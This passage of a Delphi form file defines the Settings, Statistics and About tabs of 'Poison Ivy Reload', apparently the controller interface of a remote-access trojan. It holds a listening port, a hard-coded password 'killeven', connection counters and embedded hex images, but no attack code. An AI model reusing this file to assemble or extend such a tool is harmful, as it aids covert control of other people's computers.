Align = alLeft
Caption = 'ActiveX'
Enabled = False
TabOrder = 1
OnClick = RadioButton_ActiveXClick
end
end
object CheckBox_2: TCheckBox
Left = 263
Top = 242
Width = 109
Height = 17
Caption = 'Hide Password'
TabOrder = 22
OnClick = CheckBox_2Click
end
end
end
end
object TabSheet_Setting: TTabSheet
Caption = 'TabSheet_Setting'
ImageIndex = 2
object GroupBox_Setting: TGroupBox
Left = 0
Top = 0
Width = 929
Height = 530
Align = alClient
Caption = 'Settings'
Font.Charset = DEFAULT_CHARSET
Font.Color = clBlue
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = [fsBold]
ParentFont = False
TabOrder = 0
object Panel_1: TPanel
Left = 2
Top = 499
Width = 925
Height = 29
Align = alBottom
BevelOuter = bvNone
TabOrder = 0
DesignSize = (
925
29)
object SpeedButton_Save: TSpeedButton
Left = 862
Top = 4
Width = 57
Height = 22
Anchors = [akRight, akBottom]
Caption = 'Save '
Flat = True
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
Glyph.Data = {
36040000424D3604000000000000360000002800000010000000100000000100
20000000000000040000120B0000120B00000000000000000000D8AB8E00CD95
7000BD734200B7683500B5683500B4673400B2663400B0653300AE643300AC63
3200AA623200A9613200A8603100A7613200AB693C00BC866100C37D4F00EBC6
AD00EAC5AD00FEFBF800FEFBF800FEFBF800FEFBF800FEFBF800FEFBF800FEFB
F800FEFBF800FEFBF800FEFBF800C89A7C00C7987900AD6B4000BA6C3800EDCA
B300E0A27A00FEFAF70062C0880062C0880062C0880062C0880062C0880062C0
880062C0880062C08800FDF9F600CA8D6500C99B7C00A7613200BB6C3800EECC
B600E1A27A00FEFAF700BFDCC200BFDCC200BFDCC200BFDCC200BFDCC200BFDC
C200BFDCC200BFDCC200FDF9F600CD906800CC9E8100A8613200BB6B3800EFCE
B800E1A27900FEFAF70062C0880062C0880062C0880062C0880062C0880062C0
880062C0880062C08800FDF9F600CF936A00CEA38400AA613200BA6A3600EFD0
BB00E2A27A00FEFBF800FEFBF800FEFBF800FEFBF800FEFBF800FEFBF800FEFB
F800FEFBF800FEFBF800FEFBF800D3966D00D2A78A00AB623200BB6A3600F0D2
BE00E2A37A00E2A37A00E1A37A00E2A37B00E1A37B00E0A17800DE9F7700DD9F
7600DC9D7400D99B7200D8997100D6997000D5AB8E00AD633300BB6A3600F2D5
C200E3A37A00E3A37A00E2A37B00E2A37B00E2A47B00E1A27900E0A17800DEA0
7700DE9E7500DC9D7400DA9B7300D99B7300DAB09500AF643300BB6A3600F2D8
C500E3A47B00E3A37A00E3A47A00E2A47B00E2A37B00E1A37B00E1A27900DFA0
7700DE9F7600DD9E7400DB9C7200DC9D7400DDB59A00B1653400BB6B3600F4D9
C700E6A67D00C88C6400C98D6500C98E6700CB926C00CB926D00CA906900C88C
6500C88C6400C88C6400C88C6400DA9C7400E1BA9F00B3663400BB6C3700F4DC
C900E7A77D00F9ECE100F9ECE100F9EDE300FCF4EE00FDFAF700FDF7F300FAED
E500F7E7DB00F7E5D900F6E5D800DEA07700E4BEA400B4673400BD6E3A00F5DD
CC00E7A87E00FAF0E800FAF0E800C98D6600FAF0E900FDF8F300FEFAF800FCF4
EF00F9E9DF00F7E7DB00F7E5D900E0A27800E7C2A900B6683500C0744200F6DF
D000E8A87E00FCF6F100FCF6F100C88C6400FAF1E900FBF4EE00FDFAF700FDF9
F600FAF0E800F8E8DD00F7E6DB00E1A37A00EFD5C300B76A3600C6825500F6DF
D100E9AA8000FEFAF600FDFAF600C88C6400FBF3EE00FBF1EA00FCF6F200FEFB
F800FCF6F100F9ECE200F8E7DB00EED0BA00ECD0BD00BD744300D6A58500F6E0
D100F7E0D100FEFBF800FEFBF700FDF9F600FCF5F000FAF0EA00FBF2ED00FDF9
F600FDFAF700FBF1EB00F8E9DF00ECD1BE00CD926A00E2C5B100E1BDA600D9AB
8D00C9895E00C0754300BD6E3A00BB6C3700BB6B3600BB6A3600BB6A3600BC6C
3900BD6E3B00BB6D3A00BF744400C98D6500E7CEBC00C8D0D400}
ParentFont = False
OnClick = SpeedButton_SaveClick
ExplicitLeft = 750
end
end
object ScrollBox_Setting: TScrollBox
Left = 2
Top = 15
Width = 925
Height = 484
HorzScrollBar.Range = 385
VertScrollBar.Range = 300
Align = alClient
AutoScroll = False
BevelInner = bvNone
BorderStyle = bsNone
Font.Charset = DEFAULT_CHARSET
Font.Color = clGradientActiveCaption
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = [fsBold]
ParentFont = False
TabOrder = 1
DesignSize = (
925
484)
object Label_1: TLabel
Left = 25
Top = 3
Width = 59
Height = 13
Caption = 'Connections'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
ParentFont = False
end
object Bevel_1: TBevel
Left = 25
Top = 17
Width = 865
Height = 2
Anchors = [akLeft, akTop, akRight]
Style = bsRaised
ExplicitWidth = 769
end
object Label_5: TLabel
Left = 40
Top = 33
Width = 70
Height = 13
Caption = 'Listen on port:'
Font.Charset = DEFAULT_CHARSET
Font.Color = clBlack
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
ParentFont = False
end
object Label_6: TLabel
Left = 40
Top = 64
Width = 50
Height = 13
Caption = 'Password:'
Font.Charset = DEFAULT_CHARSET
Font.Color = clBlack
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
ParentFont = False
end
object Label_2: TLabel
Left = 25
Top = 99
Width = 43
Height = 13
Caption = 'Features'
Font.Charset = DEFAULT_CHARSET
Font.Color = clBlack
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
ParentFont = False
end
object Bevel_2: TBevel
Left = 25
Top = 118
Width = 865
Height = 2
Anchors = [akLeft, akTop, akRight]
Style = bsRaised
ExplicitWidth = 753
end
object Label_4: TLabel
Left = 25
Top = 163
Width = 58
Height = 13
Caption = 'Appearance'
Font.Charset = DEFAULT_CHARSET
Font.Color = clBlack
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
ParentFont = False
end
object Bevel_3: TBevel
Left = 25
Top = 182
Width = 865
Height = 2
Anchors = [akLeft, akTop, akRight]
Style = bsRaised
ExplicitWidth = 753
end
object SpinEdit_Port: TSpinEdit
Left = 160
Top = 29
Width = 121
Height = 22
Font.Charset = DEFAULT_CHARSET
Font.Color = clBlack
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
MaxValue = 65535
MinValue = 0
ParentFont = False
TabOrder = 0
Value = 8080
end
object Edit_Password: TEdit
Left = 160
Top = 60
Width = 121
Height = 21
Font.Charset = DEFAULT_CHARSET
Font.Color = clBlack
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
ParentFont = False
PasswordChar = '*'
TabOrder = 1
Text = 'killeven'
end
object CheckBox_Password: TCheckBox
Left = 304
Top = 62
Width = 113
Height = 17
Caption = 'Hide Password'
Checked = True
Font.Charset = DEFAULT_CHARSET
Font.Color = clBlack
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
ParentFont = False
State = cbChecked
TabOrder = 2
OnClick = CheckBox_PasswordClick
end
object RadioButton_Layout_TreeView: TRadioButton
Left = 25
Top = 126
Width = 113
Height = 17
Caption = 'TreeView Layout'
Checked = True
Font.Charset = DEFAULT_CHARSET
Font.Color = clDefault
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
ParentFont = False
TabOrder = 3
TabStop = True
end
object RadioButton_Layout_Menu: TRadioButton
Left = 168
Top = 126
Width = 113
Height = 17
Caption = 'Menu Layout'
Font.Charset = DEFAULT_CHARSET
Font.Color = clDefault
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
ParentFont = False
TabOrder = 4
end
object CheckBox_ShowBallontip: TCheckBox
Left = 25
Top = 190
Width = 128
Height = 17
Caption = 'Ballontip notification'
Font.Charset = DEFAULT_CHARSET
Font.Color = clDefault
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
ParentFont = False
TabOrder = 5
end
object CheckBox_Thumbnail: TCheckBox
Left = 168
Top = 190
Width = 97
Height = 17
Caption = 'Show Thumbnail'
Font.Charset = DEFAULT_CHARSET
Font.Color = clBlack
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
ParentFont = False
TabOrder = 6
end
end
end
end
object TabSheet_Stats: TTabSheet
Caption = 'TabSheet_Stats'
ImageIndex = 3
object GroupBox_Stats: TGroupBox
Left = 0
Top = 0
Width = 929
Height = 530
Align = alClient
Caption = 'Statistics'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = [fsBold]
ParentFont = False
TabOrder = 0
object ScrollBox_Stats: TScrollBox
Left = 2
Top = 15
Width = 925
Height = 513
Align = alClient
BevelInner = bvNone
BevelOuter = bvNone
BorderStyle = bsNone
TabOrder = 0
DesignSize = (
925
513)
object SpeedButton_ResetStats: TSpeedButton
Left = 834
Top = 488
Width = 83
Height = 22
Anchors = [akRight, akBottom]
Caption = 'Reset Stats '
Flat = True
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
Glyph.Data = {
36050000424D3605000000000000360400002800000010000000100000000100
08000000000000010000120B0000120B00000001000000000000000000000101
0100020202000303030004040400050505000606060007070700080808000909
09000A0A0A000B0B0B000C0C0C000D0D0D000E0E0E000F0F0F00101010001111
1100121212001313130014141400151515001616160017171700181818001919
19001A1A1A001B1B1B001C1C1C001D1D1D001E1E1E001F1F1F00202020002121
2100222222002323230024242400252525002626260027272700282828002929
29002A2A2A002B2B2B002C2C2C002D2D2D002E2E2E002F2F2F00303030003131
3100323232003333330034343400353535003636360037373700383838003939
39003A3A3A003B3B3B003C3C3C003D3D3D003E3E3E003F3F3F00404040004141
4100424242004343430044444400454545004646460047474700484848004949
49004A4A4A004B4B4B004C4C4C004D4D4D004E4E4E004F4F4F00505050005151
5100525252005353530054545400555555005656560057575700585858005959
59005A5A5A005B5B5B005C5C5C005D5D5D005E5E5E005F5F5F00606060006161
6100626262006363630064646400656565006666660067676700686868006969
69006A6A6A006B6B6B006C6C6C006D6D6D006E6E6E006F6F6F00707070007171
7100727272007373730074747400757575007676760077777700787878007979
79007A7A7A007B7B7B007C7C7C007D7D7D007E7E7E007F7F7F00808080008181
8100828282008383830084848400858585008686860087878700888888008989
89008A8A8A008B8B8B008C8C8C008D8D8D008E8E8E008F8F8F00909090009191
9100929292009393930094949400959595009696960097979700989898009999
99009A9A9A009B9B9B009C9C9C009D9D9D009E9E9E009F9F9F00A0A0A000A1A1
A100A2A2A200A3A3A300A4A4A400A5A5A500A6A6A600A7A7A700A8A8A800A9A9
A900AAAAAA00ABABAB00ACACAC00ADADAD00AEAEAE00AFAFAF00B0B0B000B1B1
B100B2B2B200B3B3B300B4B4B400B5B5B500B6B6B600B7B7B700B8B8B800B9B9
B900BABABA00BBBBBB00BCBCBC00BDBDBD00BEBEBE00BFBFBF00C0C0C000C1C1
C100C2C2C200C3C3C300C4C4C400C5C5C500C6C6C600C7C7C700C8C8C800C9C9
C900CACACA00CBCBCB00CCCCCC00CDCDCD00CECECE00CFCFCF00D0D0D000D1D1
D100D2D2D200D3D3D300D4D4D400D5D5D500D6D6D600D7D7D700D8D8D800D9D9
D900DADADA00DBDBDB00DCDCDC00DDDDDD00DEDEDE00DFDFDF00E0E0E000E1E1
E100E2E2E200E3E3E300E4E4E400E5E5E500E6E6E600E7E7E700E8E8E800E9E9
E900EAEAEA00EBEBEB00ECECEC00EDEDED00EEEEEE00EFEFEF00F0F0F000F1F1
F100F2F2F200F3F3F300F4F4F400F5F5F500F6F6F600F7F7F700F8F8F800F9F9
F900FAFAFA00FBFBFB00FCFCFC00FDFDFD00FEFEFE00FFFFFF00CFCFCFCFCFCF
CFCFCFCFCFCFCFCFCFCFCFCFCFAD777E80A5CFCFCFCFCFCFCFCFCFCF96A7DAD8
D36672706C68676FC7CFCF9FB5F3E9E3E4B692E5E4DED4A06DCFBAB5F4E5DBDA
DAF06ECFC9D08FB966CFAADBE8B7A9CCDAF571BFCBD18CAF6BCFA9E6BFD0D5DA
E5F578C6CDD391B16FCFB0E2DCD8DDE5EFE986D7CDD397B474CFC3C1EFE5EBF1
EEB6A9D8CBD09DB579CFCDB5D7EEF3E3B6A9CCCDCAC6B6B67ECFCFCAB8ACA6A1
B9A9A4A8A2A5A0C684CFCFCFCBC7C5B0AEE1EFDDD3DEE69589CFCFCFCFCFCF84
E1F2EEDFD4E3E8CC7ACFCFCFCFCFCFA18FC9DFD9D6D9CD879FCFCFCFCFCFCFCD
ADA0958E909BA0ACCFCFCFCFCFCFCFCFCAC6C7D3D3CFCACCCFCF}
ParentFont = False
OnClick = SpeedButton_ResetStatsClick
ExplicitLeft = 722
ExplicitTop = 418
end
object Memo_Stats: TMemo
Left = 232
Top = 9
Width = 409
Height = 204
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
TabOrder = 1
end
object Panel_11: TPanel
Left = 7
Top = 0
Width = 219
Height = 220
BevelOuter = bvNone
TabOrder = 0
object Label_TotalAttempts: TLabel
Left = 25
Top = 34
Width = 135
Height = 13
Caption = 'Total connection attempts: 0'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
end
object Label_TotalConnections: TLabel
Left = 25
Top = 12
Width = 97
Height = 13
Caption = 'Total connections: 0'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
Layout = tlCenter
end
object GroupBox_1: TGroupBox
Left = 25
Top = 54
Width = 185
Height = 75
Caption = 'Sent'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
TabOrder = 0
object Label_Sent_Compressed: TLabel
Left = 15
Top = 18
Width = 64
Height = 13
Caption = 'Compressed: '
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
end
object Label_Sent_UnCompressed: TLabel
Left = 15
Top = 36
Width = 74
Height = 13
Caption = 'Uncompressed:'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
end
object Label_Sent_Ratio: TLabel
Left = 16
Top = 54
Width = 31
Height = 13
Caption = 'Ratio: '
end
end
object GroupBox_11: TGroupBox
Left = 25
Top = 138
Width = 185
Height = 75
Caption = 'Received'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentColor = False
ParentFont = False
TabOrder = 1
object Label_Recv_Compressed: TLabel
Left = 15
Top = 17
Width = 61
Height = 13
Caption = 'Compressed:'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
end
object Label_Recv_UnCpmoressed: TLabel
Left = 15
Top = 36
Width = 74
Height = 13
Caption = 'Uncompressed:'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
end
object Label_Recv_Ratio: TLabel
Left = 16
Top = 54
Width = 31
Height = 13
Caption = 'Ratio: '
end
end
end
end
end
end
object TabSheet_About: TTabSheet
Caption = 'TabSheet_About'
ImageIndex = 4
object GroupBox_About: TGroupBox
Left = 0
Top = 0
Width = 929
Height = 530
Align = alClient
Caption = 'About'
TabOrder = 0
object ScrollBox_About: TScrollBox
Left = 2
Top = 15
Width = 925
Height = 513
HorzScrollBar.Range = 372
VertScrollBar.Range = 417
Align = alClient
AutoScroll = False
BevelInner = bvNone
BorderStyle = bsNone
TabOrder = 0
DesignSize = (
925
513)
object Label_TitleLabel: TLabel
Left = 0
Top = 0
Width = 925
Height = 13
Align = alTop
Alignment = taCenter
Caption = 'Poison Ivy Reload'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = [fsBold]
ParentFont = False
ExplicitWidth = 104
end
object Label_authorlabel: TLabel
Left = 0
Top = 13
Width = 925
Height = 13
Align = alTop
Alignment = taCenter
Caption = 'by killeven'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
ExplicitWidth = 50
end
object Image_1: TImage
Left = 785
Top = 0
Width = 137
Height = 209
Anchors = [akTop, akRight]
Picture.Data = {
0A544A504547496D616765E33D0000FFD8FFE000104A46494600010200006400
640000FFEC00114475636B7900010004000000640000FFEE000E41646F626500
64C000000001FFDB008400010101010101010101010101010101010101010101
0101010101010101010101010101010101010101010102020202020202020202
0203030303030303030303010101010101010201010202020102020303030303
0303030303030303030303030303030303030303030303030303030303030303
030303030303030303030303FFC000110800C8008303011100021101031101FF
C4009D000002030101010101010000000000000000080607090504030A020101
0100030101010000000000000000000000020304050106100001050100010401
0303030204070000040102030506070011121308142115162223093141175124
6181321891A1C142723426110002020104000403060601050000000000010203
1121311204415132136171228191A1B1C1D1F0E14223331405F162724334FFDA
000C03010002110311003F00FD365F51546A292DB397E00F69497B5C6D45BD69
6C49053EB6C479043432235FD248091A6731E9FEED72F9F349B4F2B74755A4D6
1EC23777C9AF782D9D7C3809AE2FB98DA13F8B47962359A3AED1626E51841B05
1D36BE5D0431DA646DE589C95D5D7484C75F6523448278C1299007D3EB595DFF
00DBB629CFCF1B992D8CABFAA0DE0AAA0EEF42DDE9879FA7D921962053E625B8
9E0132DB3C658D5976A628DA2AB6CF365EE1E136F2649A29F3A8D60ED617E85C
0D8C86EA5D5A545C3198FE5F27B94BB66DE73A8E650F73A6A91230BA590DCD17
03DD047A82A174591BA1D8E46C169FBCC5F35767E7258E6FCA11F2C12C33FBDB
12CF0A308939D774EC849B827287E26AAEF8C97D4F122FA1CC10B8A19862219E
22626CD0490C8C919342F4473658DCD556BD8E6B915153F4545F31E1A2F3D3E0
078070751A7A1C667EDB53A7B21E9E8288026CED6C8A7392010212274D3CCF46
35D23D5AC6AFA358D73DCBE88D455544F3D8C5C9F18EAD9E3692CBD8F78B6601
90404404C6E8C88593C5EE558DEB1C8D6BDAAE8E446C8C5F6B93D51C88A9FE8A
88BE1A69E3C4F7252DD03EC473FC2AD8822BAD779A7AC329EB0AC6F3F09BA6D1
8F69A12581D157D80E34D187493DACCF5744A7CE2B1608E59D5C90413491DB0A
2C9C79A5882F17A2212B23178F12CAC9DC6A2E86FCCD0E59B958E6100205067B
916D2DA29C885F21C1DA455D0C9562CA049EC6238730C8E65572A39A8D457572
496CF24936F725DE44F43C00F003C00F003C00F005DFECAE829EBF9F1F4E5933
0F72740EBECFB9B5D613C0A762CCAFD2A7BAD61164ABA639240E3FC4799342C7
92ADF6FBBDAE4F347554BDD528A6D27A955CD7069EEC4C765CE6F36B727DA62C
2CF5B51B1A901825E136236B2261EB09D6990B41C81A218DA598431EE1A12CC8
0CA89A56CF5C542AD462F74E79EBCB58D99755532E906D453758E336B5EC3EB6
B245B9BAD7F352206955F7DA5ADCFC4455A8CB1CA455FEF1131F1C8588FF0099
E3AC9244C02DDB5A07BD2EFAC62B57FC46C39807A8AFC6D59A1CA7E36312F86C
BEA2EE1BA003516D89A0D0B040D56B607A4B565355C2395AD8864A27D7AA7CB2
B597F192C8DB38E31E032DC8BA2D96FE80C6EA336EC5EFB3162B9FDDE3DD6305
CC5477F1861D8B16B2EC688782F282E2AAC063EB8C6C50BA70898D658479D251
E2E35F4CA99F17B781BA135647922C0BBBEACCFD69969644B211828BE49113D6
495EE739238608208D1D310493339B1C51B1AE7C92391AD4572A2795C62E4F11
DD926D2597B0AB768E8C487CAC0DA6979D69253ED83B1AC0392DBC8100709787
9C5D0BCFD4DCD61B675830559464A10C7C324ED63C859605926847913B3D7EAA
A7EA96B3FC8C36DCE7A2D2251DA1A2A0C0CB51160791D96EB6A73C64B41A3BBB
4B8B4A4825AF88196F6F2DF5FAD0EC5A04A38DF0921C45325B79958F26397E15
7C7A78436C2C7C8AB93F3675F98E56214EC9EC808B455C599DA447BF27A6A3CC
675B31E98FD5E5AE8BAFA1CF530E66740AAA52259811A69CDF5883591EF4FC99
274A7B497FAF2FE3C4B297FDD468DA7FA27FB7E9E708E807801E007801E00780
1E0078043775995D3D14C30EC0FF007411CA6D4CA744B28AC31914B13A029AC5
49541B11269452518A8F70D3C8D45FD7CB69B5D5629AD884E0A71E2C45ECB886
136D69A5DA969A2B6789542E26CF123D95A025559F447BAD0FFDDACAAAE863B4
3755F11B1C7048D2561606D4F811EB2AABBBD094671528FA59CE69C5E1EE4531
3F5D73146CAADBFD7FD3DAE0EF71B6B63714815A5EE9355903A59DC8BABCB5FD
7E84EB2D053536A51A9159C024D0FB254690E1A49E28FC91E16D66756299CB3A
1DED0970D3E973BAEDFD8EA68B4E2FEF530B7C744768A96B27849706EB6AC744
757CA0963B92220385BF1BD1A8E4601DEE27D2A9369D1ADB4F4653CAABD1E1A4
14B36546AC0593CEEFE51DC7045B247C7621C6ED9CA07E5FA23675ADFEDABA26
B1CBCEFF00908E5465E39C1A7ACF56BC09457D9E1FF98E72D2D6B419F5B7236A
B6B7BA8B039E20F99A2AAF81940C384FCB8C02A6CFD5962442ACF1C9F8464C69
102C6F96773F5515C615C74FA92FCCAAC9394DEBA64A73B0F65B9B4EB16F80C8
4225F4F898B35255D6442FE68F5BAEB10FF73B3DAE8E0FCC1E2B5132157795CB
5D5AFF008D27B273BFA9158E946BCACE4DCEA00CC094B88B7DADBD46AA57BC81
86F426D2C742110E1E69AEF5D3D53B30649A3B6B195EE2A6FDD2209AE7A450A7
E32362F006339452B8AD19F6BB637F76D78A851B938A288B83374F8F24A2AA43
2B341CCCFC48EE4E682F4B89BE424C8C995D0FCBF84A233CE5F7DD8A493FF1F8
7CCD7D750C67FAC64BCE71A83C00F003C00F003C00F003C0054454545FF454F4
F0056A727FE25D1585368430AB39F5BD81B7196D9C710C0D4D75B5ED89065AE5
7692C71C23559335A1CE96B2D26F41CC8A540E67464C303CEECF53B119C1572F
5AFC4C3754E32E4BD2C8365301A18341B6BE3D1D8996D6DDAB506E3B496D7905
E55C9132C5D676A3EB007544F2BAC8D9618876573231E287FA247C6F6A376140
93F57877B4DA0D2EE6C0082BF1AE0CEC1DDE9EC6BE4A62747863E5961B52AFB1
AD297F0C6A232C8826ACC6BE349FD2677E30834C8E90065F00D82A39E75CBC82
D63B29A8F2F5980A8B51048C36B0AD10315D08CAB843636088140F555308B1B1
3DC8C1DBEE73957DDE61ECBE57D75F867268AB4AE53FB0A8BA7EEAC6AAFAD56D
D83941E62E618687274CD69676F351AF3DC5E0AA2792485881C54C1544E5183B
BD617A37F21DE83C4AD7EE339DBE319ECF65CDD3E9FB4D95507BDE9B610EAF4D
9ECFA4F297712081C15148014B54349A4D10F5D4F54D851AC6C4339C922491C8
AF7B9C030F97E9D962AB7770E239947540D20D0AC925C572E0C4B22CB9982C61
585C5884C1E7B62C299D28A3C6D21F24AC68FF0022112AB62F1BC2C8DC627985
1111540FABB969ACD169AAAA662813ABD950B9CAF8C7710165C5A68ECAE9B550
D64C6CCF9A371A648E32699EE9DE8E6A3785D8BA574F5D96C746AAD423A6ECB4
7CA0B03C00F003C00F003C00F003C02397FB0CA65628E7D368E9282196448A29
6E2D02AE8E495C8AAD8D8F2E685AF91C88BE8D4F555F4F3D8C652F4A6D9E3696
E42E3EC3CA2E672EAFF9652131C51A211310F732A5ED9911AD8DB68444CAA21D
2FBBD11AD95CAAA8A9E9FA2FA59EC5C972E32FB88FB907A6510793EBDE1E5F7D
A737D56C79CB8B1FDE1C782D6149928527FEF3080F056CEBBE769F22B9155CDA
BFEE37F45554F2D876EF87D39CE3CFF8C909535CB55A3170EAFF00587BF696B2
E224DB735E8E3990C9132AEFB3F7FCF0F945F8E4814727414B6BB3AA91F30B23
92556D1B192C8F73BDAD45444D50FF00904F49C7EE2A7D67FD2CA4F87EEAB5DF
573A9E74BAE3F2FBFE6BD53383EEB176C7C77767435596D765A8689EDB006045
B3AF93258E6C0E2DB1A0FF009A216C62FC507BBC4D37DB859FFADA586791D299
43FA91D6ACC552E93B899B6B6B992BEAAA69A0A10E962B27CD617BBC89890497
54599A918AD3972D2E5A77574C5411AC6AB3BA1F447472397A129462B3269233
A4DBC2DCBF6AB852DADA4B679EE7C4674D32370C76AEF6C4CCE7EE02473BBE36
CF5F4B70569F4318D333E4821B04ACF8E37AFC7247EE56AE49F7698FA7EA65D1
EBCDEFA0D565B9B0B4D20161787C9A1B7AD85ECAEF92060545492108FF00CD93
3D410BA416BE72FE473642A5793632C3E914A4C8C6B5A9CEBBB365DA3D21E46A
AEA8D7AAD5966FA7A7E89FA2799CB0FE5CF637F4739A8BE8ABE8AA89FA27FAAF
802CDBBFB0308B6D3E639FC015DD8025CE1DFE84C7C8B9FA2985456120C0C19C
D9EFEEE22152370F14900F0B9B23662639A3F81FB28E9CAD5CA7A43F128B2F50
785AC8F160B63AF2B413585C11B6BC122008901A7AEFE0C6571E2986A363B728
60A1ABD30AEAF96178B023A0806447488F94D7B5B34775DD37B53158F3CEA570
BD6F36F259E4740BA2089C30A802A35818F9253B557F50C460ED86695C4C3559
B2B4365EAC48BF48CC6D7FBFFD11E9EA8BE421D0B1BFADA4BEF272ECC57A5364
442E8E935E61EC08E8B47FC52FBF97C13C925241461585AD113454E2540479D7
162AD324B33CB5F8D24F9A450DCD635CDF739BEDFD58535E61972C9E57739CB0
F09609C93D97998DAACEE2FF00985213A4D459154F535609D01E53EC84A53F45
2085441BE790073E9AAC89D8E9D2363D22F6A3BDEE635D8BDB9F172C3C22FE71
CE33AB2CEF20488E69B482E68061120C6D91C613157D3D2D541F956F776A4FB9
05ADAD195F1B1F3C9ED73DF248F8C71A063E79E48A08E49193AEB95B2E10DC8C
A4A11E4F628FAEE52382ED568765674347AED5E989B8874953FB44DA8ABA19AA
EB851F2136D6F29C722D02A8B284A70CD8218878469990B7E556BA793BB4D7ED
56A1A651CF9CB9C9C8A835D537D9834D259DEEE85A38EAA59886DA3B3A553D63
191B5E9616B6E40D01A339AE8D5CAD189022633D1AE57AFAB96D2056791ED7B0
B69278398F3379F642C1010DE8B35A2E179EE9609DE38EFBF0E95D0259DF4561
2C247C6A5D6ABBDB1BBF1497C7FDE4AACA6BB57D6967CFC49C6C941E8F42EE65
AFDADD8D65B5C63AEF9656974DA2BBCF3B397D9CD0C704D2D0DBBEB49264B916
F0E90B16C2019C408E8A01D51933524F572AA47CC9C3AD4D9ED4D49FC726B8CA
D9C79C5A332D6CF6394FB27D520DD7301323A5EAFCE61C9EAE63AC15B92966D4
DDC74E35B0B0FCE825C0F6964E8D83FC5315FDE26663A41E6426277417B73A53
8B7C23AFDC667CE33795F53FD4607A8EF3A5F13EBF9EFAD7F5EACB8B5191BEE2
DD0AF9367B67EDF5DD6ACBB007436D3E58B24706A0AA4B26C6F110D8812CB98A
3C210C68D0C10048D930E9745DF6F27F57D98F2346B06AB8636FB72329F55FEC
D91A7B683EB9754D08DA9FB19CF32F0AF4DBFCDE7AC2A321617C10D46758C40C
562356DA4338D4FAAA999E5CD5D5D5D6729522D7B7FB050C1D36D388FBD0FF00
137A799385997C25EB487BFCCC5A46B65AEA1C165741B3D39D1D6E7F33527DD5
B9D23647B46AFAE1A428A97E289B24D339B144BE8C635CF7AFA35A8AAA89E7B1
8B9C9463BB3C6D2597B194DD57B15C690E137B2E936F51D0EEA04C461B906674
AB4353CE339B4AC659DADB74099892D56ABA51D4A230C94881F3419668A82812
4B3BCB9CFECD5D4AE10E33D6594DFEDF2314EE94A595A23844686AB95E0BF749
2B90A0295B0B3F65AD21B13ED0D92786082B43264156474D6444AD898E485D22
B9CAA8C7BBFA5759416BBFAD7D7BE7E31DACD7186EE3A4EA86A632DF1B420D8C
6DA8FC40902A7AB9EA4E203A9CC55D7C0AF608DB62192CAE965998D57CCF4F00
AF36DDA36DD732F758BC4F3FC9F30CD580AC12F27BFD0C60DD36A2CBDF1B6478
D5F0D69004E63627A45246D998EF472A4AAE6355009CF3AE23B2D0D153E6C9EA
F3018E7492B62C5F3EA0369AB6085F24F294B35ADA7E4C493132C8AAE99CD224
91EF57AC8E72AAA00C7721E7B9D974B20F92AC0AA705CAF57A0AB99D3BFF0070
D1ED3A6D5412511B77686BD11E0D463E2B0B30C5815D238C28A792A913211BE4
E777AFC2F657DA6AEBD797CD8E079CB35945036B0683A56C29EE273E87535B55
61598419C214D7AE365033AED36DE94C9849288D34BBFB98007B3E59E70A20E3
47C6C69B2B24EBF463055F24F337BFC3E062EC393961FA4A43B60FCC79667A79
4AFDE6DF417C8FA8AF1D873AF3516E6FB1192FB6D2DA620F8671DF27B9655998
D1957D515BE8C6F9B8CE257F5D39557750E93AC5D467ABE8B058DB2A82C0C300
B27EC46956814FA9935D7684BA69B5261111313196677BFE59FE67C4D6C7F1C8
E02F6C8C1207D93A8EBBF38CACCEFED750EB6A0B252E540A84082E4DACBB8FE6
9DCD025000AF37D478DAD89A0AC4D727C91ABDC03B3F5F495B0E5399BF9AD45B
62764DB2DE105084C250AC93756C76B94110885CE8A60AB12E50685CD55458A2
